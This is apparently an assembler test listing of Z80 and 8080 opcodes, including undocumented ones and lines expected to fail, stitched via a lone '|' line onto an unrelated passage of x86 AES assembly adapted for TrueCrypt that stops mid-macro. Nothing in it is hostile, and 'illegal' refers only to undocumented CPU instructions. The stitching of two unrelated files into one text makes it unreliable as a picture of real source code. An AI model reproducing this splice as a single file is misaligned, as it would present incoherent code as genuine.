ld xh,xl ; illegal
ld xh,n ; illegal
ld yl,a ; illegal
ld yl,b ; illegal
ld yl,c ; illegal
ld yl,d ; illegal
ld yl,e ; illegal
ld yl,yh ; illegal
ld yl,yl ; illegal
ld yl,n ; illegal
ld a,(ix+1)
ld a,(iy+n1)
ld b,(ix+n1)
ld b,(iy+1)
ld c,(ix+1)
ld c,(iy+n1)
ld d,(ix+1)
ld d,(iy+n1)
ld e,(ix+n1)
ld e,(iy+1)
ld h,(ix+1)
ld h,(iy+n1)
ld l,(ix+1)
ld l,(iy+n1)
ld (ix+1),a
ld (ix+1),b
ld (ix+1),c
ld (ix+n1),d
ld (ix+1),e
ld (ix+1),h
ld (ix+1),l
ld (ix+1),n
ld (iy+1),a
ld (iy+1),b
ld (iy+1),c
ld (iy+1),d
ld (iy+n1),e
ld (iy+1),h
ld (iy+1),l
ld (iy+1),n
; ––––––––––––––––––––––––––––––––––
add a,xh ; illegal
add a,xl ; illegal
add a,yh ; illegal
add a,yl ; illegal
sub a,XH ; illegal
sub a,XL ; illegal
sub a,YH ; illegal
sub a,YL ; illegal
adc a,xh ; illegal
adc a,xl ; illegal
adc a,yh ; illegal
adc a,yl ; illegal
sbc a,xh ; illegal
sbc a,xl ; illegal
sbc a,yh ; illegal
sbc a,yl ; illegal
and a,XH ; illegal
and a,XL ; illegal
and a,YH ; illegal
and a,YL ; illegal
or a,XH ; illegal
or a,XL ; illegal
or a,YH ; illegal
or a,YL ; illegal
xor a,XH ; illegal
xor a,XL ; illegal
xor a,YH ; illegal
xor a,YL ; illegal
cp a,XH ; illegal
cp a,XL ; illegal
cp a,YH ; illegal
cp a,YL ; illegal
inc xh ; illegal
inc xl ; illegal
inc yh ; illegal
inc yl ; illegal
dec xh ; illegal
dec xl ; illegal
dec yh ; illegal
dec yl ; illegal
; ––––––––––––––––––––––––––––––––––
add a,(ix+1)
add a,(iy+n1)
sub (ix+1)
sub (iy+1)
sub a,(ix+1)
sub a,(iy+1)
adc a,(ix+1)
adc a,(iy+n1)
sbc a,(ix+1)
sbc a,(iy+1)
AND (ix+1)
AND (iy+1)
and a,(ix+1)
and a,(iy+n1)
or (ix+1)
or (iy+1)
or a,(ix+1)
or a,(iy+1)
xor (ix+1)
xor (iy+1)
xor a,(ix+1)
xor a,(iy+1)
cp (ix+n1)
cp (iy+1)
cp a,(ix+1)
cp a,(iy+1)
inc (IX+1)
inc (iy+1)
dec (IX+n1)
dec (iy+1)
; ––––––––––––––––––––––––––––––––––
bit 0,(ix+n1)
bit 0,(iy+1)
bit 1,(ix+1)
bit 2,(iy+1)
bit 3,(ix+1)
bit 4,(iy+1)
bit 5,(ix+1)
bit 6,(iy+1)
bit 7,(ix+1)
res 0,(ix+1)
res 0,(iy+1)
res 1,(ix+1)
res 2,(iy+1)
res 3,(ix+1)
res 4,(iy+1)
res 5,(ix+1)
res 6,(iy+1)
res 7,(ix+1)
set 0,(ix+1)
set 0,(iy+1)
set 1,(ix+1)
set 2,(iy+1)
set 3,(ix+1)
set 4,(iy+1)
set 5,(ix+1)
set 6,(iy+1)
set 7,(ix+1)
rl (ix+1)
rl (iy+1)
rlc (ix+1)
rlc (iy+1)
rr (ix+1)
rr (iy+1)
rrc (ix+1)
rrc (iy+1)
sla (ix+1)
sla (iy+1)
sll (ix+1)
sll (iy+1)
sra (ix+1)
sra (iy+1)
srl (ix+1)
srl (iy+1)
#endif ; !defined(i8080)
; –––––––––––––––––––––––––––––––––––––––––––––––––
; z80 illegal IXCB opcodes
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if defined(_ixcbxh_)
sra xh
sra yl
sla xh
sla yl
srl xh
srl yl
sll xh
sll yl
rl xh
rl yl
rlc xh
rlc yl
rr xh
rr yl
rrc xh
rrc yl
bit 0,xh ; illegal
bit 1,xl ; illegal
bit 2,yh ; illegal
bit 3,yl ; illegal
bit 4,xh ; illegal
bit 5,xl ; illegal
bit 6,yh ; illegal
bit 7,yl ; illegal
res 0,xh ; illegal
res 1,xl ; illegal
res 2,yh ; illegal
res 3,yl ; illegal
res 4,xh ; illegal
res 5,xl ; illegal
res 6,yh ; illegal
res 7,yl ; illegal
set 0,xh ; illegal
set 1,xl ; illegal
set 2,yh ; illegal
set 3,yl ; illegal
set 4,xh ; illegal
set 5,xl ; illegal
set 6,yh ; illegal
set 7,yl ; illegal
#endif
#if !defined(_ixcbxh_)
! bit 0,xh ; illegal
! bit 1,xl ; illegal
! bit 2,yh ; illegal
! bit 3,yl ; illegal
! bit 4,xh ; illegal
! bit 5,xl ; illegal
! bit 6,yh ; illegal
! bit 7,yl ; illegal
! res 0,xh ; illegal
! res 1,xl ; illegal
! res 2,yh ; illegal
! res 3,yl ; illegal
! res 4,xh ; illegal
! res 5,xl ; illegal
! res 6,yh ; illegal
! res 7,yl ; illegal
! set 0,xh ; illegal
! set 1,xl ; illegal
! set 2,yh ; illegal
! set 3,yl ; illegal
! set 4,xh ; illegal
! set 5,xl ; illegal
! set 6,yh ; illegal
! set 7,yl ; illegal
! rl xh
! rl yl
! rlc xh
! rlc yl
! rr xh
! rr yl
! rrc xh
! rrc yl
! sra xh
! sra yl
! sla xh
! sla yl
! srl xh
! srl yl
! sll xh
! sll yl
#endif
#if defined(_ixcbr2_)
sra (ix+1),a
sra (iy+1),b
sla (ix+1),c
sla (iy+1),d
srl (ix+1),e
srl (iy+1),a
sll (ix+1),b
sll (iy+1),c
sra (iy+1),h
sla (ix+1),l
srl (iy+1),h
sll (ix+1),l
rl (ix+1),a
rl (iy+1),b
rlc (ix+1),c
rlc (iy+1),d
rr (ix+1),e
rr (iy+1),a
rrc (ix+1),b
rrc (iy+1),c
rl (iy+1),h
rlc (ix+1),l
rr (iy+1),h
rrc (ix+1),l
bit 0,(ix+1),a ; illegal TODO: evtl. they all behave like "bit b,(ix+dis)"
bit 1,(iy+1),b ; illegal because 'bit' does not write to register
bit 2,(ix+1),c ; illegal to be tested!
bit 3,(iy+1),h ; illegal different docs state different opinions!
bit 4,(ix+1),l ; illegal
bit 5,(iy+1),d ; illegal
bit 6,(ix+1),e ; illegal
bit 7,(iy+1),b ; illegal
res 0,(ix+1),a ; illegal
res 1,(iy+1),b ; illegal
res 2,(ix+1),c ; illegal
res 3,(iy+1),h ; illegal
res 4,(ix+1),l ; illegal
res 5,(iy+1),d ; illegal
res 6,(ix+1),e ; illegal
res 7,(iy+1),b ; illegal
set 0,(ix+1),a ; illegal
set 1,(iy+1),b ; illegal
set 2,(ix+1),c ; illegal
set 3,(iy+1),h ; illegal
set 4,(ix+1),l ; illegal
set 5,(iy+1),d ; illegal
set 6,(ix+1),e ; illegal
set 7,(iy+1),b ; illegal
#else ; if !defined(_ixcbr2_)
! rl (ix+1),a
! rl (iy+1),b
! rlc (ix+1),c
! rlc (iy+1),d
! rr (ix+1),e
! rr (iy+1),a
! rrc (ix+1),b
! rrc (iy+1),c
! sra (ix+1),a
! sra (iy+1),b
! sla (ix+1),c
! sla (iy+1),d
! srl (ix+1),e
! srl (iy+1),a
! sll (ix+1),b
! sll (iy+1),c
! bit 0,(ix+1),a ; illegal
! bit 1,(iy+1),b ; illegal
! bit 2,(ix+1),c ; illegal
! bit 3,(iy+1),h ; illegal
! bit 4,(ix+1),l ; illegal
! bit 5,(iy+1),d ; illegal
! bit 6,(ix+1),e ; illegal
! bit 7,(iy+1),b ; illegal
! res 0,(ix+1),a ; illegal
! res 1,(iy+1),b ; illegal
! res 2,(ix+1),c ; illegal
! res 3,(iy+1),h ; illegal
! res 4,(ix+1),l ; illegal
! res 5,(iy+1),d ; illegal
! res 6,(ix+1),e ; illegal
! res 7,(iy+1),b ; illegal
! set 0,(ix+1),a ; illegal
! set 1,(iy+1),b ; illegal
! set 2,(ix+1),c ; illegal
! set 3,(iy+1),h ; illegal
! set 4,(ix+1),l ; illegal
! set 5,(iy+1),d ; illegal
! set 6,(ix+1),e ; illegal
! set 7,(iy+1),b ; illegal
! rl (iy+1),h
! rlc (ix+1),l
! rr (iy+1),h
! rrc (ix+1),l
! sra (iy+1),h
! sla (ix+1),l
! srl (iy+1),h
! sll (ix+1),l
#endif
n6 equ 6
n1 equ 1
n16 equ 16
; –––––––––––––––––––––––––––––––––––––––––––––––––
; ill. arguments for all opcodes:
; –––––––––––––––––––––––––––––––––––––––––––––––––
! jr p,loop2
! jr m,loop2
! jr po,loop2
! jr pe,loop2
! im 3
! adc ix,bc
! adc ix,de
! adc ix,ix
! adc ix,iy
! adc ix,sp
! adc iy,bc
! adc iy,de
! adc iy,iy
! adc iy,ix
! adc iy,sp
! add ix,iy
! add ix,hl
! add iy,ix
! add iy,hl
! ld (hl),(hl)
! ld (ix+1),(ix+1)
! ld (ix+1),(iy+1)
! ld (iy+1),(hl)
! ld (iy+1),(ix+1)
! ld (iy+1),(iy+1)
! ld XH,(hl)
! ld xh,(ix+1)
! ld xh,(iy+1)
! ld xh,h
! ld xh,l
! ld xh,yl
! ld YL,(hl)
! ld yl,(ix+1)
! ld yl,(iy+1)
! ld yl,h
! ld yl,l
! ld yl,xh
! out (c),xh
! out (c),yl
! sbc ix,bc
! sbc ix,de
! sbc ix,ix
! sbc ix,iy
! sbc ix,sp
! sbc iy,bc
! sbc iy,de
! sbc iy,iy
! sbc iy,ix
! sbc iy,sp
; –––––––––––––––––––––––––––––––––––––––––––––––––
; ill. 8080 opcodes:
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if defined(_8080_) ; z80 syntax, target 8080
! exx
! Neg
! cpd
! cpdr
! cpir
! cpi
! Ind
! Indr
! Ini
! Inir
! Ldd
! Lddr
! Ldi
! Ldir
! Otdr
! Otir
! Outd
! Outi
! Rld
! Rrd
! Reti
! Retn
! djnz $
#endif
; –––––––––––––––––––––––––––––––––––––––––––––––––
; ill. arguments for 8080 opcodes:
; –––––––––––––––––––––––––––––––––––––––––––––––––
#if defined(_8080_) ; z80 syntax, target 8080
! jp (ix)
! jp (iy)
; ––––––––––––––––––––––––––––––––––
loop3:
! jr loop3
! JR C,loop3
! jr nc,loop3
! jr nz,loop3
! jr z,loop3
; ––––––––––––––––––––––––––––––––––
! IM 0
! im n1
! im 2
; ––––––––––––––––––––––––––––––––––
! pop ix
! pop iy
! push ix
! push iy
! ld i,a
! ld r,a
! ld (nn),bc
! ld (nn),de
! ld (nn),ix
! ld (nn),iy
! ld (nn),sp
! ld bc,(nn)
! ld de,(nn)
! ld ix,(nn)
! ld iy,(nn)
! ld sp,(nn)
! ld ix,nn
! ld iy,nn
! ld (ix+1),b
! ld (ix+1),c
! ld (ix+n1),d
! ld (ix+1),e
! ld (ix+1),h
! ld (ix+1),l
! ld (ix+1),n
! ld (iy+1),b
! ld (iy+1),c
! ld (iy+1),d
! ld (iy+n1),e
! ld (iy+1),h
! ld (iy+1),l
! ld (iy+1),n
! ld xh,a ; illegal
! ld xh,b ; illegal
! ld xh,c ; illegal
! ld xh,d ; illegal
! ld xh,e ; illegal
! ld xh,xh ; illegal
! ld xh,xl ; illegal
! ld xh,n ; illegal
! ld yl,a ; illegal
! ld yl,b ; illegal
! ld yl,c ; illegal
! ld yl,d ; illegal
! ld yl,e ; illegal
! ld yl,yh ; illegal
! ld yl,yl ; illegal
! ld yl,n ; illegal
! add ix,bc
! add ix,de
! add ix,ix
! add ix,sp
! add iy,bc
! add iy,de
! add iy,iy
! add iy,sp
! adc hl,bc
! adc hl,de
! adc hl,hl
! adc hl,sp
! sbc hl,bc
! sbc hl,de
! sbc hl,hl
! sbc hl,sp
; ––––––––––––––––––––––––––––––––––
! inc (IX+1)
! inc (iy+1)
! inc xh ; illegal
! inc xl ; illegal
! inc yh ; illegal
! inc yl ; illegal
! inc ix
! inc iy
; ––––––––––––––––––––––––––––––––––
! dec (IX+n1)
! dec (iy+1)
! dec xh ; illegal
! dec ixl ; illegal
! dec iyh ; illegal
! dec yl ; illegal
! dec ix
! dec iy
; ––––––––––––––––––––––––––––––––––
! ex af,af'
! ex (sp),ix
! ex ix,(sp)
! ex (sp),iy
! ex iy,(sp)
; ––––––––––––––––––––––––––––––––––
! IN a,(c)
! in b,(bc)
! in c,(c)
! in d,(bc)
! in e,(c)
! in h,(bc)
! in l,(c)
! in f,(bc)
! in (c)
; ––––––––––––––––––––––––––––––––––
! OUT (c),a
! out (bc),b
! out (c),c
! out (bc),d
! out (c),e
! out (bc),h
! out (c),l
! out (c),0
; ––––––––––––––––––––––––––––––––––
! bit 0,a
! bit 0,b
! bit 0,c
! bit 0,d
! bit 0,e
! bit 0,h
! bit 0,l
! BIT 0,(hl)
! bit 0,(ix+n1)
! bit 0,(iy+1)
! bit 1,a
! BIT n1,(hl)
! bit 1,(ix+1)
! bit 2,h
! BIT 2,(hl)
! bit 2,(iy+1)
! bit 3,l
! BIT 3,(hl)
! bit 3,(ix+1)
! bit 4,d
! BIT 4,(hl)
! bit 4,(iy+1)
! bit 5,e
! BIT 5,(hl)
! bit 5,(ix+1)
! bit 6,c
! BIT n6,(hl)
! bit 6,(iy+1)
! bit 7,b
! BIT 7,(hl)
! bit 7,(ix+1)
; ––––––––––––––––––––––––––––––––––
! res 0,a
! res 0,b
! res 0,c
! res 0,d
! res 0,e
! res 0,h
! res 0,l
! res 0,(hl)
! res 0,(ix+1)
! res 0,(iy+1)
! res 1,a
! res 1,(hl)
! res 1,(ix+1)
! res 2,h
! res 2,(hl)
! res 2,(iy+1)
! res 3,l
! res 3,(hl)
! res 3,(ix+1)
! res 4,d
! res 4,(hl)
! res 4,(iy+1)
! res 5,e
! res 5,(hl)
! res 5,(ix+1)
! res 6,c
! res 6,(hl)
! res 6,(iy+1)
! res 7,b
! res 7,(hl)
! res 7,(ix+1)
; ––––––––––––––––––––––––––––––––––
! set 0,a
! set 0,b
! set 0,c
! set 0,d
! set 0,e
! set 0,h
! set 0,l
! set 0,(hl)
! set 0,(ix+1)
! set 0,(iy+1)
! set 1,a
! set n1,(hl)
! set 1,(ix+1)
! set 2,h
! set 2,(hl)
! set 2,(iy+1)
! set 3,l
! set 3,(hl)
! set 3,(ix+1)
! set 4,d
! set 4,(hl)
! set 4,(iy+1)
! set 5,e
! set 5,(hl)
! set 5,(ix+1)
! set 6,c
! set n6,(hl)
! set 6,(iy+1)
! set 7,b
! set 7,(hl)
! set 7,(ix+1)
; ––––––––––––––––––––––––––––––––––
! RL (hl)
! rl (ix+1)
! rl (iy+1)
! rl a
! rl b
! rl c
! rl d
! rl e
! rl h
! rl l
; ––––––––––––––––––––––––––––––––––
! RLC (hl)
! rlc (ix+1)
! rlc (iy+1)
! rlc a
! rlc b
! rlc c
! rlc d
! rlc e
! rlc h
! rlc l
; ––––––––––––––––––––––––––––––––––
! RR (hl)
! rr (ix+1)
! rr (iy+1)
! rr a
! rr b
! rr c
! rr d
! rr e
! rr h
! rr l
; ––––––––––––––––––––––––––––––––––
! RRC (hl)
! rrc (ix+1)
! rrc (iy+1)
! rrc a
! rrc b
! rrc c
! rrc d
! rrc e
! rrc h
! rrc l
; ––––––––––––––––––––––––––––––––––
! sla (hl)
! sla (ix+1)
! sla (iy+1)
! sla a
! sla b
! sla c
! sla d
! sla e
! sla h
! sla l
; ––––––––––––––––––––––––––––––––––
! sll (hl)
! sll (ix+1)
! sll (iy+1)
! sll a
! sll b
! sll c
! sll d
! sll e
! sll h
! sll l
; ––––––––––––––––––––––––––––––––––
! sra (hl)
! sra (ix+1)
! sra (iy+1)
! sra a
! sra b
! sra c
! sra d
! sra e
! sra h
! sra l
; ––––––––––––––––––––––––––––––––––
! srl (hl)
! srl (ix+1)
! srl (iy+1)
! srl a
! srl b
! srl c
! srl d
! srl e
! srl h
! srl l
; ––––––––––––––––––––––––––––––––––
! jp ix
! jp iy
! ld a,i
! ld a,r
! ld sp,ix
! ld sp,iy
! ld h,xh
! ld h,xl
! ld h,yh
! ld h,yl
! ld l,xh
! ld l,xl
! ld l,yh
! ld l,yl
! ld (hl),(ix+1)
! ld (hl),(iy+1)
! ld (hl),xh
! ld (hl),xl
! ld (hl),yh
! ld (hl),yl
! ld (ix+1),(hl)
! ld (ix+1),xh
! ld (ix+1),xl
! ld (ix+1),yh
! ld (ix+1),yl
! ld (iy+1),xh
! ld (iy+1),xl
! ld (iy+1),yh
! ld (iy+1),yl
! ld hl,ix
! ld hl,iy
! ld a,(ix+1)
! ld a,(iy+n1)
! ld a,xh ; illegal
! ld a,xl ; illegal
! ld a,yh ; illegal
! ld a,yl ; illegal
! ld b,(ix+n1)
! ld b,(iy+1)
! ld b,xh ; illegal
! ld b,xl ; illegal
! ld b,yh ; illegal
! ld b,yl ; illegal
! ld c,(ix+1)
! ld c,(iy+n1)
! ld c,xh ; illegal
! ld c,xl ; illegal
! ld c,yh ; illegal
! ld c,yl ; illegal
! ld d,(ix+1)
! ld d,(iy+n1)
! ld d,xh ; illegal
! ld d,xl ; illegal
! ld d,yh ; illegal
! ld d,yl ; illegal
! ld e,(ix+n1)
! ld e,(iy+1)
! ld e,xh ; illegal
! ld e,xl ; illegal
! ld e,yh ; illegal
! ld e,yl ; illegal
! ld h,(ix+1)
! ld h,(iy+n1)
! ld l,(ix+1)
! ld l,(iy+n1)
! add a,(ix+1)
! add a,(iy+n1)
! add a,xh ; illegal
! add a,xl ; illegal
! add a,yh ; illegal
! add a,yl ; illegal
! sub (ix+1)
! sub (iy+1)
! sub a,(ix+1)
! sub a,(iy+1)
! sub a,XH ; illegal
! sub a,XL ; illegal
! sub a,YH ; illegal
! sub a,YL ; illegal
! adc a,(ix+1)
! adc a,(iy+n1)
! adc a,xh ; illegal
! adc a,xl ; illegal
! adc a,yh ; illegal
! adc a,yl ; illegal
! sbc a,(ix+1)
! sbc a,(iy+1)
! sbc a,xh ; illegal
! sbc a,xl ; illegal
! sbc a,yh ; illegal
! sbc a,yl ; illegal
! AND (ix+1)
! AND (iy+1)
! and a,(ix+1)
! and a,(iy+n1)
! and a,XH ; illegal
! and a,XL ; illegal
! and a,YH ; illegal
! and a,YL ; illegal
! or (ix+1)
! or (iy+1)
! or a,(ix+1)
! or a,(iy+1)
! or a,XH ; illegal
! or a,XL ; illegal
! or a,YH ; illegal
! or a,YL ; illegal
! xor (ix+1)
! xor (iy+1)
! xor a,(ix+1)
! xor a,(iy+1)
! xor a,XH ; illegal
! xor a,XL ; illegal
! xor a,YH ; illegal
! xor a,YL ; illegal
! cp (ix+n1)
! cp (iy+1)
! cp a,(ix+1)
! cp a,(iy+1)
! cp a,XH ; illegal
! cp a,XL ; illegal
! cp a,YH ; illegal
! cp a,YL ; illegal
#endif ; defined(_8080_)
; –––––––––––––––––––––––––––––––––––––––––––––––––
; test_compound_opcodes:
; –––––––––––––––––––––––––––––––––––––––––––––––––
jr $ \ jr $
jp $ \ jp $-3
ld hl,$ \ ld hl,$-3
ld bc,de
ld b,d\ld c,e
ld bc,hl
ld b,h\ld c,l
ld de,bc
ld d,b\ld e,c
ld de,hl
ld d,h\ld e,l
ld hl,bc
ld h,b\ld l,c
ld hl,de
ld h,d\ld l,e
ld bc,(hl)
ld c,(hl++)\ld b,(hl)\dec hl
ld de,(hl)
ld e,(hl++)\ld d,(hl)\dec hl
ld bc,(hl++)
ld c,(hl++)\ld b,(hl++)
ld de,(hl++)
ld e,(hl++)\ld d,(hl++)
ld bc,(--hl)
ld b,(--hl)\ld c,(--hl)
ld de,(--hl)
ld d,(--hl)\ld e,(--hl)
ld (hl),bc
ld(hl++),c\ld(hl),b\dec hl
ld (hl),de
ld(hl++),e\ld(hl),d\dec hl
ld (--hl),bc
ld(--hl),b\ld(--hl),c
ld (--hl),de
ld(--hl),d\ld(--hl),e
ld (hl++),bc
ld(hl++),c\ld(hl++),b
ld (hl++),de
ld(hl++),e\ld(hl++),d
ld (--bc),a
dec bc\ld(bc),a
ld (--de),a
dec de\ld(de),a
ld (bc++),a
ld(bc),a\inc bc
ld (de++),a
ld(de),a\inc de
ld a,(--bc)
dec bc\ld a,(bc)
ld a,(--de)
dec de\ld a,(de)
ld a,(bc++)
ld a,(bc)\inc bc
ld a,(de++)
ld a,(de)\inc de
ld a,(hl++)
ld a,(hl)\inc hl
ld b,(--hl)
dec hl\ld b,(hl)
ld c,(hl++)
ld c,(hl)\inc hl
ld d,(--hl)
dec hl\ld d,(hl)
ld h,(hl++)
ld h,(hl)\inc hl ; potentially void
ld l,(--hl)
dec hl\ld l,(hl)
add (hl++)
add (hl)\inc hl
adc (hl++)
adc (hl)\inc hl
sub (hl++)
sub (hl)\inc hl
sbc (hl++)
sbc (hl)\inc hl
and (hl++)
and (hl)\inc hl
or (hl++)
or (hl)\inc hl
xor (hl++)
xor (hl)\inc hl
cp (hl++)
cp (hl)\inc hl
add (--hl)
dec hl\add(hl)
adc (--hl)
dec hl\adc(hl)
sub (--hl)
dec hl\sub(hl)
sbc (--hl)
dec hl\sbc(hl)
and (--hl)
dec hl\and(hl)
or (--hl)
dec hl\or(hl)
xor (--hl)
dec hl\xor(hl)
cp (--hl)
dec hl\cp(hl)
#if !defined(_8080_)
ld bc,ix ; illegal ...
ld b,xh\ld c,xl
ld bc,iy ; ...
ld b,yh\ld c,yl
ld de,ix ; ...
ld d,xh\ld e,xl
ld de,iy ; ...
ld d,yh\ld e,yl
ld ix,bc ; ...
ld xh,b\ld xl,c
ld ix,de ; ...
ld xh,d\ld xl,e
ld iy,bc ; ...
ld yh,b\ld yl,c
ld iy,de ; ...
ld yh,d\ld yl,e
ld bc,(ix+1)
ld c,(ix+1)\ld b,(ix+2)
ld de,(iy+4)
ld e,(iy+4)\ld d,(iy+5)
ld hl,(ix+5)
ld l,(ix+5)\ld h,(ix+6)
ld hl,(iy+6)
ld l,(iy+6)\ld h,(iy+7)
ld (ix+3),bc
ld(ix+3),c\ld(ix+4),b
ld (iy+6),de
ld(iy+6),e\ld(iy+7),d
ld (ix+7),hl
ld(ix+7),l\ld(ix+8),h
ld (iy+8),hl
ld(iy+8),l\ld(iy+9),h
rr (hl++) ; 0xCB group:
rr(hl)\inc hl
rrc (hl++)
rrc(hl)\inc hl
rl (hl++)
rl(hl)\inc hl
rlc (hl++)
rlc(hl)\inc hl
sla (hl++)
sla(hl)\inc hl
sra (hl++)
sra(hl)\inc hl
sll (hl++) ; illegal
sll(hl)\inc hl
srl (hl++)
srl(hl)\inc hl
bit 3,(hl++)
bit 3,(hl)\inc hl
set 4,(hl++)
set 4,(hl)\inc hl
res 5,(hl++)
res 5,(hl)\inc hl
rr (--hl) ; 0xCB group:
dec hl\rr(hl)
rrc (--hl)
dec hl\rrc(hl)
rl (--hl)
dec hl\rl(hl)
rlc (--hl)
dec hl\rlc(hl)
sla (--hl)
dec hl\sla(hl)
sra (--hl)
dec hl\sra(hl)
sll (--hl) ; illegal
dec hl\sll(hl)
srl (--hl)
dec hl\srl(hl)
bit 0,(--hl)
dec hl\bit 0,(hl)
set 1,(--hl)
dec hl\set 1,(hl)
res 2,(--hl)
dec hl\res 2,(hl)
#endif
|
; ---------------------------------------------------------------------------
; Copyright (c) 1998-2007, Brian Gladman, Worcester, UK. All rights reserved.
;
; LICENSE TERMS
;
; The free distribution and use of this software is allowed (with or without
; changes) provided that:
;
; 1. source code distributions include the above copyright notice, this
; list of conditions and the following disclaimer;
;
; 2. binary distributions include the above copyright notice, this list
; of conditions and the following disclaimer in their documentation;
;
; 3. the name of the copyright holder is not used to endorse products
; built using this software without specific written permission.
;
; DISCLAIMER
;
; This software is provided 'as is' with no explicit or implied warranties
; in respect of its properties, including, but not limited to, correctness
; and/or fitness for purpose.
; ---------------------------------------------------------------------------
; Issue 20/12/2007
;
; This code requires ASM_X86_V1C to be set in aesopt.h. It requires the C files
; aeskey.c and aestab.c for support.
;
; Adapted for TrueCrypt:
; - Compatibility with NASM and GCC
;
; An AES implementation for x86 processors using the YASM (or NASM) assembler.
; This is an assembler implementation that covers encryption and decryption
; only and is intended as a replacement of the C file aescrypt.c. It hence
; requires the file aeskey.c for keying and aestab.c for the AES tables. It
; employs full tables rather than compressed tables.
; This code provides the standard AES block size (128 bits, 16 bytes) and the
; three standard AES key sizes (128, 192 and 256 bits). It has the same call
; interface as my C implementation. The ebx, esi, edi and ebp registers are
; preserved across calls but eax, ecx and edx and the artihmetic status flags
; are not. It is also important that the defines below match those used in the
; C code. This code uses the VC++ register saving conentions; if it is used
; with another compiler, conventions for using and saving registers may need to
; be checked (and calling conventions). The YASM command line for the VC++
; custom build step is:
;
; yasm -Xvc -f win32 -o "$(TargetDir)\$(InputName).obj" "$(InputPath)"
;
; The calling intefaces are:
;
; AES_RETURN aes_encrypt(const unsigned char in_blk[],
; unsigned char out_blk[], const aes_encrypt_ctx cx[1]);
;
; AES_RETURN aes_decrypt(const unsigned char in_blk[],
; unsigned char out_blk[], const aes_decrypt_ctx cx[1]);
;
; AES_RETURN aes_encrypt_key<NNN>(const unsigned char key[],
; const aes_encrypt_ctx cx[1]);
;
; AES_RETURN aes_decrypt_key<NNN>(const unsigned char key[],
; const aes_decrypt_ctx cx[1]);
;
; AES_RETURN aes_encrypt_key(const unsigned char key[],
; unsigned int len, const aes_decrypt_ctx cx[1]);
;
; AES_RETURN aes_decrypt_key(const unsigned char key[],
; unsigned int len, const aes_decrypt_ctx cx[1]);
;
; where <NNN> is 128, 102 or 256. In the last two calls the length can be in
; either bits or bytes.
;
; Comment in/out the following lines to obtain the desired subroutines. These
; selections MUST match those in the C header file aes.h
; %define AES_128 ; define if AES with 128 bit keys is needed
; %define AES_192 ; define if AES with 192 bit keys is needed
%define AES_256 ; define if AES with 256 bit keys is needed
; %define AES_VAR ; define if a variable key size is needed
%define ENCRYPTION ; define if encryption is needed
%define DECRYPTION ; define if decryption is needed
%define AES_REV_DKS ; define if key decryption schedule is reversed
%define LAST_ROUND_TABLES ; define if tables are to be used for last round
; offsets to parameters
in_blk equ 4 ; input byte array address parameter
out_blk equ 8 ; output byte array address parameter
ctx equ 12 ; AES context structure
stk_spc equ 20 ; stack space
%define parms 12 ; parameter space on stack
; The encryption key schedule has the following in memory layout where N is the
; number of rounds (10, 12 or 14):
;
; lo: | input key (round 0) | ; each round is four 32-bit words
; | encryption round 1 |
; | encryption round 2 |
; ....
; | encryption round N-1 |
; hi: | encryption round N |
;
; The decryption key schedule is normally set up so that it has the same
; layout as above by actually reversing the order of the encryption key
; schedule in memory (this happens when AES_REV_DKS is set):
;
; lo: | decryption round 0 | = | encryption round N |
; | decryption round 1 | = INV_MIX_COL[ | encryption round N-1 | ]
; | decryption round 2 | = INV_MIX_COL[ | encryption round N-2 | ]
; .... ....
; | decryption round N-1 | = INV_MIX_COL[ | encryption round 1 | ]
; hi: | decryption round N | = | input key (round 0) |
;
; with rounds except the first and last modified using inv_mix_column()
; But if AES_REV_DKS is NOT set the order of keys is left as it is for
; encryption so that it has to be accessed in reverse when used for
; decryption (although the inverse mix column modifications are done)
;
; lo: | decryption round 0 | = | input key (round 0) |
; | decryption round 1 | = INV_MIX_COL[ | encryption round 1 | ]
; | decryption round 2 | = INV_MIX_COL[ | encryption round 2 | ]
; .... ....
; | decryption round N-1 | = INV_MIX_COL[ | encryption round N-1 | ]
; hi: | decryption round N | = | encryption round N |
;
; This layout is faster when the assembler key scheduling provided here
; is used.
;
; The DLL interface must use the _stdcall convention in which the number
; of bytes of parameter space is added after an @ to the sutine's name.
; We must also remove our parameters from the stack before return (see
; the do_exit macro). Define DLL_EXPORT for the Dynamic Link Library version.
;%define DLL_EXPORT
; End of user defines
%ifdef AES_VAR
%ifndef AES_128
%define AES_128
%endif
%ifndef AES_192
%define AES_192
%endif
%ifndef AES_256
%define AES_256
%endif
%endif
%ifdef AES_VAR
%define KS_LENGTH 60
%elifdef AES_256
%define KS_LENGTH 60
%elifdef AES_192
%define KS_LENGTH 52
%else
%define KS_LENGTH 44
%endif
; These macros implement stack based local variables
%macro save 2
mov [esp+4*%1],%2
%endmacro
%macro restore 2
mov %1,[esp+4*%2]
%endmacro
; the DLL has to implement the _stdcall calling interface on return
; In this case we have to take our parameters (3 4-byte pointers)
; off the stack
%macro do_name 1-2 parms
%ifndef DLL_EXPORT
align 32
global %1
%1:
%else
align 32
global %1@%2
export _%1@%2
%1@%2:
%endif
%endmacro
%macro do_call 1-2 parms
%ifndef DLL_EXPORT
call %1
add esp,%2
%else
call %1@%2
%endif
%endmacro
%macro do_exit 0-1 parms
%ifdef DLL_EXPORT
ret %1
%else
ret
%endif
%endmacro
%ifdef ENCRYPTION
extern t_fn
%define etab_0(x) [t_fn+4*x]
%define etab_1(x) [t_fn+1024+4*x]
%define etab_2(x) [t_fn+2048+4*x]
%define etab_3(x) [t_fn+3072+4*x]
%ifdef LAST_ROUND_TABLES
extern t_fl
%define eltab_0(x) [t_fl+4*x]
%define eltab_1(x) [t_fl+1024+4*x]
%define eltab_2(x) [t_fl+2048+4*x]
%define eltab_3(x) [t_fl+3072+4*x]
%else
%define etab_b(x) byte [t_fn+3072+4*x]
%endif
; ROUND FUNCTION. Build column[2] on ESI and column[3] on EDI that have the
; round keys pre-loaded. Build column[0] in EBP and column[1] in EBX.
;
; Input:
;
; EAX column[0]
; EBX column[1]
; ECX column[2]
; EDX column[3]
; ESI column key[round][2]
; EDI column key[round][3]
; EBP scratch
;
; Output:
;
; EBP column[0] unkeyed
; EBX column[1] unkeyed
; ESI column[2] keyed
; EDI column[3] keyed
; EAX scratch
; ECX scratch
; EDX scratch
%macro rnd_fun 2
rol ebx,16
%1 esi, cl, 0, ebp
%1 esi, dh, 1, ebp
%1 esi, bh, 3, ebp
%1 edi, dl, 0, ebp
%1 edi, ah, 1, ebp
%1 edi, bl, 2, ebp
%2 ebp, al, 0, ebp
shr ebx,16
and eax,0xffff0000
or eax,ebx
shr edx,16
%1 ebp, ah, 1, ebx
%1 ebp, dh, 3, ebx
